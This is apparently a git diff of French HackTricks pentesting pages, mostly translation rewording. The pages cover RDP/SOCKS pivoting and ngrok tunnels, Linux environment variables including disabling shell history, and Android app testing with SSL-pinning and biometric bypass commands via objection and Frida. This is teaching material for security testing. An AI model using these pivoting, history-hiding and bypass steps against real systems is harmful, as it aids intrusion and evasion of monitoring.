Maintenant, nous pouvons **se connecter** à la **victime** via **RDP** en utilisant **`mstsc.exe`**, et nous devrions recevoir un **message** indiquant que le plugin **SocksOverRDP est activé**, et qu'il va **écouter** sur **127.0.0.1:1080**.
**Connectez-vous** via **RDP** et téléchargez et exécutez sur la machine de la victime le binaire `SocksOverRDP-Server.exe` :
```
@ -396,7 +409,7 @@ Maintenant, vous pouvez utiliser [**Proxifier**](https://www.proxifier.com/) **p
## Proxifier les applications GUI Windows
Vous pouvez faire naviguer les applications GUI Windows via un proxy en utilisant [**Proxifier**](https://www.proxifier.com/).\
Dans **Profil -> Serveurs Proxy**, ajoutez l'IP et le port du serveur SOCKS.\
Dans **Profil -> Serveurs proxy**, ajoutez l'IP et le port du serveur SOCKS.\
Dans **Profil -> Règles de proxification**, ajoutez le nom du programme à proxifier et les connexions vers les IPs que vous souhaitez proxifier.
## Contournement du proxy NTLM
@ -411,7 +424,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Il s'authentifie contre un proxy et lie un port localement qui est redirigé vers le service externe que vous spécifiez. Ensuite, vous pouvez utiliser l'outil de votre choix via ce port.\
Par exemple, pour rediriger le port 443
Par exemple, pour rediriger le port 443.
```
Username Alice
Password P@ssw0rd
@ -506,7 +519,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
```
## ngrok
**[ngrok](https://ngrok.com/) est un outil pour exposer des solutions sur Internet en une seule ligne de commande.**
**[ngrok](https://ngrok.com/) est un outil pour exposer des solutions à Internet en une seule ligne de commande.**
*Les URI d'exposition sont du type:* **UID.ngrok.io**
### Installation
@ -538,7 +551,7 @@ chmod a+x ./ngrok
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
#### Sniffing HTTP calls
#### Interception des appels HTTP
*Utiles pour XSS, SSRF, SSTI ...*
Directement depuis stdout ou dans l'interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
@ -574,7 +587,7 @@ addr: file:///tmp/httpbin/
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -10,13 +10,13 @@ Autres façons de soutenir HackTricks :
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -46,6 +46,8 @@ echo $LOCAL
unset LOCAL
```
## Liste des variables actuelles
To list all current environment variables, you can use the `env` command. This will display a list of all environment variables currently set in your Linux system.
```bash
set
env
@ -59,12 +61,12 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
* **DISPLAY** l'affichage utilisé par **X**. Cette variable est généralement définie sur **:0.0**, ce qui signifie le premier affichage sur l'ordinateur actuel.
* **EDITOR** l'éditeur de texte préféré de l'utilisateur.
* **HISTFILESIZE** le nombre maximum de lignes contenues dans le fichier d'historique.
* **HISTFILESIZE** le nombre maximal de lignes contenues dans le fichier d'historique.
* **HISTSIZE** Nombre de lignes ajoutées au fichier d'historique lorsque l'utilisateur termine sa session.
* **HOME** votre répertoire personnel.
* **HOSTNAME** le nom d'hôte de l'ordinateur.
* **LANG** votre langue actuelle.
* **MAIL** l'emplacement du répertoire de courrier de l'utilisateur. Généralement **/var/spool/mail/USER**.
* **MAIL** l'emplacement du répertoire de messagerie de l'utilisateur. Généralement **/var/spool/mail/USER**.
* **MANPATH** la liste des répertoires à rechercher pour les pages de manuel.
* **OSTYPE** le type de système d'exploitation.
* **PS1** l'invite par défaut dans bash.
@ -85,7 +87,7 @@ export HISTFILESIZE=0
```
### **HISTSIZE**
Changez la **valeur de cette variable à 0**, ainsi lorsque vous **terminez votre session**, aucune commande ne sera ajoutée au **fichier d'historique** (\~/.bash\_history).
Changez la **valeur de cette variable à 0**, ainsi lorsque vous **terminez votre session** aucun commande ne sera ajoutée au **fichier d'historique** (\~/.bash\_history).
```bash
export HISTSIZE=0
```
@ -96,7 +98,7 @@ Les processus utiliseront le **proxy** déclaré ici pour se connecter à Intern
export http_proxy="http://10.10.10.10:8080"
export https_proxy="http://10.10.10.10:8080"
```
### SSL\_CERT\_FILE & SSL\_CERT\_DIR
### SSL_CERT_FILE & SSL_CERT_DIR
Les processus feront confiance aux certificats indiqués dans **ces variables d'environnement**.
```bash
@ -127,7 +129,7 @@ Un travail en arrière-plan, un arrêté et la dernière commande n'a pas fini c
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -141,6 +143,6 @@ Autres façons de soutenir HackTricks:
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -16,13 +16,13 @@ Autres façons de soutenir HackTricks :
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes en bugs !
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes !
**Perspectives de piratage**\
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
**Actualités de piratage en temps réel**\
Restez informé du monde du piratage en évolution rapide grâce à des actualités et des informations en temps réel
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
**Dernières annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
@ -40,13 +40,13 @@ Il est fortement recommandé de commencer par lire cette page pour en savoir plu
## ADB (Android Debug Bridge)
C'est l'outil principal dont vous avez besoin pour vous connecter à un appareil Android (émulé ou physique).\
**ADB** permet de contrôler les appareils soit par **USB** soit par **Réseau** depuis un ordinateur. Cet utilitaire permet la **copie** de fichiers dans les deux sens, l'**installation** et la **désinstallation** d'applications, l'**exécution** de commandes shell, la **sauvegarde** de données, la **lecture** de journaux, entre autres fonctions.
**ADB** permet de contrôler les appareils soit par **USB** soit par **réseau** depuis un ordinateur. Cet utilitaire permet la **copie** de fichiers dans les deux sens, l'**installation** et la **désinstallation** d'applications, l'**exécution** de commandes shell, la **sauvegarde** de données, la **lecture** de journaux, entre autres fonctions.
Jetez un œil à la liste suivante des [**Commandes ADB**](adb-commands.md) pour apprendre à utiliser adb.
## Smali
Parfois, il est intéressant de **modifier le code de l'application** pour accéder à des **informations cachées** (peut-être des mots de passe bien obscurcis ou des indicateurs). Ensuite, il pourrait être intéressant de décompiler l'APK, de modifier le code et de le recompiler.\
Parfois, il est intéressant de **modifier le code de l'application** pour accéder à des **informations cachées** (peut-être des mots de passe bien obfusqués ou des indicateurs). Ensuite, il peut être intéressant de décompiler l'APK, de modifier le code et de le recompiler.\
[Dans ce tutoriel](smali-changes.md), vous pouvez **apprendre à décompiler un APK, modifier le code Smali et recompiler l'APK** avec la nouvelle fonctionnalité. Cela pourrait être très utile comme **alternative pour plusieurs tests pendant l'analyse dynamique** qui vont être présentés. Ensuite, **gardez toujours à l'esprit cette possibilité**.
## Autres astuces intéressantes
@ -74,27 +74,27 @@ En examinant simplement les **chaînes de caractères** de l'APK, vous pouvez re
**Firebase**
Portez une attention particulière aux **URLs Firebase** et vérifiez si elles sont mal configurées. [Plus d'informations sur ce qu'est Firebase et comment l'exploiter ici.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Portez une attention particulière aux **URL Firebase** et vérifiez si elles sont mal configurées. [Plus d'informations sur ce qu'est Firebase et comment l'exploiter ici.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Compréhension de base de l'application - Manifest.xml, strings.xml
L'**examen des fichiers** **_**Manifest.xml**_** et **_**strings.xml**_** d'une application peut révéler des vulnérabilités potentielles en matière de sécurité**. Ces fichiers peuvent être consultés en utilisant des décompilateurs ou en renommant l'extension du fichier APK en .zip, puis en le décompressant.
L'**examen des fichiers** **_**Manifest.xml**_** et **_**strings.xml**_** d'une application peut révéler des vulnérabilités potentielles en matière de sécurité**. Ces fichiers peuvent être consultés en utilisant des décompilateurs ou en renommant l'extension du fichier APK en .zip, puis en le dézippant.
Les **vulnérabilités** identifiées dans le **Manifest.xml** incluent :
* **Applications en mode débogage** : Les applications définies en mode débogage (`debuggable="true"`) dans le fichier _Manifest.xml_ présentent un risque car elles permettent des connexions pouvant conduire à une exploitation. Pour une meilleure compréhension de l'exploitation des applications en mode débogage, consultez un tutoriel sur la recherche et l'exploitation d'applications en mode débogage sur un appareil.
* **Applications en mode débogage** : Les applications définies en mode débogage (`debuggable="true"`) dans le fichier _Manifest.xml_ posent un risque car elles permettent des connexions pouvant conduire à une exploitation. Pour une meilleure compréhension de l'exploitation des applications en mode débogage, consultez un tutoriel sur la recherche et l'exploitation d'applications en mode débogage sur un appareil.
* **Paramètres de sauvegarde** : L'attribut `android:allowBackup="false"` devrait être explicitement défini pour les applications traitant des informations sensibles afin d'empêcher les sauvegardes de données non autorisées via adb, surtout lorsque le débogage USB est activé.
* **Sécurité réseau** : Les configurations personnalisées de sécurité réseau (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité tels que les épingles de certificat et les paramètres de trafic HTTP. Un exemple est d'autoriser le trafic HTTP pour des domaines spécifiques.
* **Sécurité réseau** : Les configurations personnalisées de sécurité réseau (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité comme les épingles de certificat et les paramètres de trafic HTTP. Un exemple est d'autoriser le trafic HTTP pour des domaines spécifiques.
* **Activités et services exportés** : Identifier les activités et services exportés dans le manifeste peut mettre en lumière des composants qui pourraient être mal utilisés. Une analyse plus approfondie lors des tests dynamiques peut révéler comment exploiter ces composants.
* **Fournisseurs de contenu et FileProviders** : Les fournisseurs de contenu exposés pourraient permettre un accès ou une modification non autorisés des données. La configuration des FileProviders devrait également être examinée.
* **Récepteurs de diffusion et schémas d'URL** : Ces composants pourraient être exploités, en accordant une attention particulière à la gestion des schémas d'URL pour les vulnérabilités d'entrée.
* **Versions SDK** : Les attributs `minSdkVersion`, `targetSDKVersion` et `maxSdkVersion` indiquent les versions d'Android prises en charge, soulignant l'importance de ne pas prendre en charge des versions d'Android obsolètes et vulnérables pour des raisons de sécurité.
* **Versions SDK** : Les attributs `minSdkVersion`, `targetSDKVersion` et `maxSdkVersion` indiquent les versions Android prises en charge, soulignant l'importance de ne pas prendre en charge des versions Android obsolètes et vulnérables pour des raisons de sécurité.
À partir du fichier **strings.xml**, des informations sensibles telles que des clés API, des schémas personnalisés et d'autres notes de développeur peuvent être découvertes, soulignant la nécessité d'un examen attentif de ces ressources.
### Tapjacking
Le **Tapjacking** est une attaque où une **application malveillante** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visuellement l'application victime, son interface utilisateur est conçue de manière à tromper l'utilisateur pour qu'il interagisse avec elle, tout en transmettant l'interaction à l'application victime.\
**Tapjacking** est une attaque où une **application malveillante** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visuellement l'application victime, son interface utilisateur est conçue de manière à tromper l'utilisateur pour qu'il interagisse avec elle, tout en transmettant l'interaction à l'application victime.\
En effet, cela **empêche l'utilisateur de savoir qu'il effectue réellement des actions sur l'application victime**.
Trouvez plus d'informations dans :
@ -117,7 +117,7 @@ Plus d'informations dans :
**Stockage interne**
Sur Android, les fichiers **stockés** dans le **stockage interne** sont **conçus** pour être **accessibles exclusivement par l'application** qui les a **créés**. Cette mesure de sécurité est **appliquée** par le système d'exploitation Android et est généralement adéquate pour les besoins de sécurité de la plupart des applications. Cependant, les développeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** le partage de fichiers entre différentes applications. Cependant, ces modes **ne restreignent pas l'accès** à ces fichiers par d'autres applications, y compris potentiellement malveillantes.
Sur Android, les fichiers **stockés** dans le **stockage interne** sont **conçus** pour être **accessibles exclusivement par l'application** qui les a **créés**. Cette mesure de sécurité est **appliquée** par le système d'exploitation Android et est généralement adéquate pour les besoins de sécurité de la plupart des applications. Cependant, les développeurs utilisent parfois des modes tels que `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` pour **permettre** aux fichiers d'être **partagés** entre différentes applications. Cependant, ces modes **ne restreignent pas l'accès** à ces fichiers par d'autres applications, y compris potentiellement des applications malveillantes.
1. **Analyse statique :**
* **Assurez-vous** que l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` est **soigneusement examinée**. Ces modes **peuvent potentiellement exposer** des fichiers à un **accès non intentionnel ou non autorisé**.
@ -129,8 +129,8 @@ Sur Android, les fichiers **stockés** dans le **stockage interne** sont **conç
Lorsqu'il s'agit de fichiers sur le **stockage externe**, comme les cartes SD, certaines précautions doivent être prises :
1. **Accessibilité** :
* Les fichiers sur le stockage externe sont **lisibles et modifiables mondialement**. Cela signifie que n'importe quelle application ou utilisateur peut accéder à ces fichiers.
2. **Préoccupations en matière de sécurité** :
* Les fichiers sur le stockage externe sont **lisibles et modifiables globalement**. Cela signifie que n'importe quelle application ou utilisateur peut accéder à ces fichiers.
2. **Préoccupations de sécurité** :
* Étant donné la facilité d'accès, il est conseillé de **ne pas stocker d'informations sensibles** sur le stockage externe.
* Le stockage externe peut être retiré ou accédé par n'importe quelle application, le rendant moins sécurisé.
3. **Traitement des données provenant du stockage externe** :
@ -141,7 +141,7 @@ Lorsqu'il s'agit de fichiers sur le **stockage externe**, comme les cartes SD, c
Le stockage externe peut être **accédé** dans `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
{% hint style="info" %}
À partir d'Android 4.4 (**API 17**), la carte SD a une structure de répertoire qui **limite l'accès d'une application au répertoire spécifiquement dédié à cette application**. Cela empêche une application malveillante d'obtenir un accès en lecture ou en écriture aux fichiers d'une autre application.
À partir d'Android 4.4 (**API 17**), la carte SD a une structure de répertoire qui **limite l'accès d'une application au répertoire spécifique à cette application**. Cela empêche une application malveillante d'obtenir un accès en lecture ou en écriture aux fichiers d'une autre application.
{% endhint %}
**Données sensibles stockées en clair**
@ -166,14 +166,14 @@ Certains développeurs enregistrent des données sensibles dans le stockage loca
**Utilisation d'algorithmes non sécurisés et/ou obsolètes**
Les développeurs ne devraient pas utiliser d'**algorithmes obsolètes** pour effectuer des **vérifications d'autorisation**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisés pour stocker des mots de passe par exemple, des hashes résistants à la force brute devraient être utilisés avec un sel.
Les développeurs ne devraient pas utiliser d'**algorithmes obsolètes** pour effectuer des **vérifications** d'autorisation, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashes** sont utilisés pour stocker des mots de passe par exemple, des hashes résistants à la force brute devraient être utilisés avec du sel.
### Autres vérifications
* Il est recommandé d'**obfusquer l'APK** pour compliquer le travail de rétro-ingénierie des attaquants.
* Si l'application est sensible (comme les applications bancaires), elle devrait effectuer ses **propres vérifications pour voir si le mobile est rooté** et agir en conséquence.
* Si l'application est sensible (comme les applications bancaires), elle devrait vérifier si un **émulateur** est utilisé.
* Si l'application est sensible (comme les applications bancaires), elle devrait **vérifier son intégrité avant de l'exécuter** pour vérifier si elle a été modifiée.
* Si l'application est sensible (comme les applications bancaires), elle devrait **vérifier son intégrité avant de s'exécuter** pour vérifier si elle a été modifiée.
* Utilisez [**APKiD**](https://github.com/rednaga/APKiD) pour vérifier quel compilateur/packer/obfuscateur a été utilisé pour construire l'APK.
### Application React Native
@ -200,7 +200,7 @@ Selon ce [**billet de blog**](https://clearbluejar.github.io/posts/desuperpackin
L'outil [**mariana-trench**](https://github.com/facebook/mariana-trench) est capable de trouver des **vulnérabilités** en **scannant** le **code** de l'application. Cet outil contient une série de **sources connues** (qui indiquent à l'outil les **endroits** où l'**entrée** est **contrôlée par l'utilisateur**), des **sinks** (qui indiquent à l'outil les **endroits dangereux** où une entrée utilisateur malveillante pourrait causer des dommages) et des **règles**. Ces règles indiquent la **combinaison** de **sources-sinks** qui indique une vulnérabilité.
Avec cette connaissance, **mariana-trench examinera le code et trouvera les vulnérabilités possibles**.
Avec cette connaissance, **mariana-trench examinera le code et trouvera d'éventuelles vulnérabilités**.
### Secrets divulgués
@ -235,7 +235,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
**Actualités de piratage en temps réel**\
Restez informé du monde du piratage rapide grâce aux actualités et aux informations en temps réel
Restez informé du monde du piratage en évolution rapide grâce à des actualités et des informations en temps réel
**Dernières annonces**\
Restez informé des dernières primes au bug lancées et des mises à jour cruciales de la plateforme
@ -262,7 +262,7 @@ Grâce à la connexion ADB, vous pouvez utiliser **Drozer** et **Frida** à l'in
#### Utilisation d'un émulateur
* [**Android Studio**](https://developer.android.com/studio) (Vous pouvez créer des appareils **x86** et **arm**, et selon [**ceci** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)les **dernières versions x86** supportent les bibliothèques ARM sans avoir besoin d'un émulateur ARM lent).
* [**Android Studio**](https://developer.android.com/studio) (Vous pouvez créer des appareils **x86** et **arm**, et selon [**ceci** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) les **dernières versions x86** supportent les bibliothèques ARM sans avoir besoin d'un émulateur ARM lent).
* Apprenez à le configurer sur cette page :
{% content-ref url="avd-android-virtual-device.md" %}
@ -280,7 +280,7 @@ Pour **installer les services Google** (comme AppStore) dans Genymotion, vous de
![](<../../.gitbook/assets/image (200) (1).png>)
De plus, notez que dans la **configuration de la VM Android dans Genymotion**, vous pouvez sélectionner le mode **Bridge Network** (ce sera utile si vous vous connectez à la VM Android depuis une autre VM avec les outils).
De plus, notez que dans la **configuration de la VM Android dans Genymotion**, vous pouvez sélectionner le mode **Bridge Network** (ce sera utile si vous devez vous connecter à la VM Android depuis une autre VM avec les outils).
#### Utiliser un appareil physique
Vous devez activer les options de **débogage** et ce serait bien si vous pouviez le **rooter** :
@ -307,13 +307,13 @@ Quoi qu'il en soit, il est toujours recommandé de **ne pas journaliser d'inform
**Mise en cache du presse-papiers**
Le framework basé sur le presse-papiers d'Android permet la fonctionnalité de copier-coller dans les applications, mais présente un risque car **d'autres applications** peuvent **accéder** au presse-papiers, exposant potentiellement des données sensibles. Il est crucial de **désactiver les fonctions de copier/coller** pour les sections sensibles d'une application, comme les détails de carte de crédit, pour éviter les fuites de données.
Le framework **basé sur le presse-papiers** d'Android permet la fonctionnalité de copier-coller dans les applications, mais présente un risque car **d'autres applications** peuvent **accéder** au presse-papiers, exposant potentiellement des données sensibles. Il est crucial de **désactiver les fonctions de copier/coller** pour les sections sensibles d'une application, comme les détails de carte de crédit, pour éviter les fuites de données.
**Journaux de plantage**
Si une application **plante** et **enregistre des journaux**, ces journaux peuvent aider les attaquants, en particulier lorsque l'application ne peut pas être rétro-ingénierée. Pour atténuer ce risque, évitez de journaliser en cas de plantage, et si les journaux doivent être transmis via le réseau, assurez-vous qu'ils sont envoyés via un canal SSL pour la sécurité.
Si une application **plante** et **enregistre des journaux**, ces journaux peuvent aider les attaquants, notamment lorsque l'application ne peut pas être rétro-ingénierée. Pour atténuer ce risque, évitez de journaliser en cas de plantage, et si les journaux doivent être transmis via le réseau, assurez-vous qu'ils sont envoyés via un canal SSL pour la sécurité.
En tant que testeur d'intrusion, **essayez de jeter un œil à ces journaux**.
En tant que pentester, **essayez de jeter un œil à ces journaux**.
**Données analytiques envoyées à des tiers**
@ -322,11 +322,11 @@ Les applications intègrent souvent des services comme Google Adsense, qui peuve
### Bases de données SQLite
La plupart des applications utiliseront des **bases de données SQLite internes** pour enregistrer des informations. Lors du test d'intrusion, jetez un **œil** aux **bases de données** créées, aux noms des **tables** et des **colonnes** et à toutes les **données** enregistrées car vous pourriez trouver des **informations sensibles** (ce qui serait une vulnérabilité).\
Les bases de données doivent être situées dans `/data/data/nom_du.package/databases` comme `/data/data/com.mwr.example.sieve/databases`
Les bases de données doivent être situées dans `/data/data/nom.du.package/databases` comme `/data/data/com.mwr.example.sieve/databases`
Si la base de données enregistre des informations confidentielles et est **chiffrée** mais que vous pouvez **trouver** le **mot de passe** à l'intérieur de l'application, c'est toujours une **vulnérabilité**.
Énumérez les tables en utilisant `.tables` et énumérez les colonnes des tables en faisant `.schema <nom_de_la_table>`
Énumérez les tables en utilisant `.tables` et énumérez les colonnes des tables en faisant `.schema <nom_table>`
### Drozer (Activités d'exploitation, Fournisseurs de contenu et Services)
@ -363,7 +363,7 @@ Notez qu'une contournement d'autorisation n'est pas toujours une vulnérabilité
#### Tapjacking
Si le tapjacking n'est pas empêché, vous pourriez abuser de l'activité exportée pour faire effectuer à l'**utilisateur des actions inattendues**. Pour plus d'informations sur [**ce qu'est le Tapjacking, suivez le lien**](./#tapjacking).
Si le tapjacking n'est pas empêché, vous pourriez abuser de l'activité exportée pour faire effectuer à l'utilisateur des actions inattendues. Pour plus d'informations sur [**ce qu'est le Tapjacking, suivez le lien**](./#tapjacking).
### Exploitation des fournisseurs de contenu - Accès et manipulation d'informations sensibles
@ -418,7 +418,7 @@ Pour trouver le **code qui sera exécuté dans l'application**, allez à l'activ
**Informations sensibles**
Chaque fois que vous trouvez un lien profond, vérifiez qu'il **ne reçoit pas de données sensibles (comme des mots de passe) via des paramètres d'URL**, car toute autre application pourrait **usurper le lien profond et voler ces données !**
Chaque fois que vous trouvez un lien profond, vérifiez qu'**il ne reçoit pas de données sensibles (comme des mots de passe) via des paramètres d'URL**, car toute autre application pourrait **usurper le lien profond et voler ces données !**
**Paramètres dans le chemin**
@ -435,9 +435,9 @@ Un [rapport de prime de bug intéressant](https://hackerone.com/reports/855618)
* Les **négociations pendant la poignée de main SSL/TLS sont parfois faibles**, utilisant des suites de chiffrement non sécurisées. Cette vulnérabilité rend la connexion susceptible aux attaques de l'homme du milieu (MITM), permettant aux attaquants de décrypter les données.
* **La fuite d'informations privées** est un risque lorsque les applications s'authentifient en utilisant des canaux sécurisés mais communiquent ensuite via des canaux non sécurisés pour d'autres transactions. Cette approche ne protège pas les données sensibles, telles que les cookies de session ou les détails des utilisateurs, contre l'interception par des entités malveillantes.
#### Vérification du certificat
#### Vérification des certificats
Nous nous concentrerons sur la **vérification du certificat**. L'intégrité du certificat du serveur doit être vérifiée pour renforcer la sécurité. C'est crucial car les configurations TLS non sécurisées et la transmission de données sensibles sur des canaux non chiffrés peuvent poser des risques importants. Pour des étapes détaillées sur la vérification des certificats de serveur et la résolution des vulnérabilités, [**cette ressource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets.
Nous allons nous concentrer sur la **vérification des certificats**. L'intégrité du certificat du serveur doit être vérifiée pour renforcer la sécurité. C'est crucial car les configurations TLS non sécurisées et la transmission de données sensibles sur des canaux non chiffrés peuvent poser des risques importants. Pour des étapes détaillées sur la vérification des certificats de serveur et la résolution des vulnérabilités, [**cette ressource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets.
#### Épinglage SSL
@ -451,10 +451,10 @@ Les applications ciblant **le niveau API 24 et supérieur** nécessitent des mod
#### Contournement de l'épinglage SSL
Lorsque l'épinglage SSL est mis en œuvre, il est nécessaire de contourner pour inspecter le trafic HTTPS. Diverses méthodes sont disponibles à cette fin :
Lorsque l'épinglage SSL est mis en œuvre, contourner cette protection devient nécessaire pour inspecter le trafic HTTPS. Diverses méthodes sont disponibles à cette fin :
* Modifier automatiquement l'**apk** pour **contourner** l'épinglage SSL avec [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le principal avantage de cette option est que vous n'aurez pas besoin de root pour contourner l'épinglage SSL, mais vous devrez supprimer l'application et réinstaller la nouvelle, et cela ne fonctionnera pas toujours.
* Vous pouvez utiliser **Frida** (discuté ci-dessous) pour contourner cette protection. Voici un guide pour utiliser Burp+Frida+Genymotion : [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
* Vous pourriez utiliser **Frida** (discuté ci-dessous) pour contourner cette protection. Voici un guide pour utiliser Burp+Frida+Genymotion : [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
* Vous pouvez également essayer de **contourner automatiquement l'épinglage SSL** en utilisant [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* Vous pouvez également essayer de **contourner automatiquement l'épinglage SSL** en utilisant **l'analyse dynamique MobSF** (expliquée ci-dessous)
* Si vous pensez toujours qu'il y a du trafic que vous ne capturez pas, vous pouvez essayer de **rediriger le trafic vers Burp en utilisant iptables**. Lisez ce blog : [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
@ -473,8 +473,9 @@ Si vous voulez faire du pentest sur des applications Android, vous devez savoir
* Quelques "GUI" pour des actions avec Frida : [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
* Ojection est excellent pour automatiser l'utilisation de Frida : [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
* Vous pouvez trouver quelques scripts Frida impressionnants ici : [**https://codeshare.frida.re/**](https://codeshare.frida.re)
* Essayez de contourner les mécanismes anti-debugging / anti-Frida en chargeant Frida comme indiqué dans [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (outil [linjector](https://github.com/erfur/linjector-rs))
### **Dump Memory - Fridump**
### **Dump de mémoire - Fridump**
Vérifiez si l'application stocke des informations sensibles dans la mémoire qu'elle ne devrait pas stocker comme des mots de passe ou des mnémoniques.
@ -515,11 +516,11 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
```
{% endcode %}
### **Images d'arrière-plan**
### **Images de fond**
Lorsque vous mettez une application en arrière-plan, Android stocke une **capture d'écran de l'application** afin que lorsqu'elle est ramenée à l'avant-plan, elle commence à charger l'image avant l'application pour donner l'impression que l'application a été chargée plus rapidement.
Lorsque vous mettez une application en arrière-plan, Android stocke une **capture d'écran de l'application** afin que lorsqu'elle revienne à l'avant-plan, elle commence à charger l'image avant l'application pour donner l'impression que l'application a été chargée plus rapidement.
Cependant, si cette capture d'écran contient des **informations sensibles**, quelqu'un ayant accès à la capture d'écran pourrait **voler ces informations** (notez que vous avez besoin des droits root pour y accéder).
Cependant, si cette capture d'écran contient des **informations sensibles**, une personne ayant accès à la capture d'écran pourrait **voler ces informations** (notez que vous avez besoin des droits root pour y accéder).
Les captures d'écran sont généralement stockées autour de : **`/data/system_ce/0/snapshots`**
@ -548,23 +549,23 @@ Le danger réside dans le fait de permettre aux attaquants de déclencher des co
Vous connaissez probablement ce type de vulnérabilités du Web. Vous devez être particulièrement prudent avec ces vulnérabilités dans une application Android :
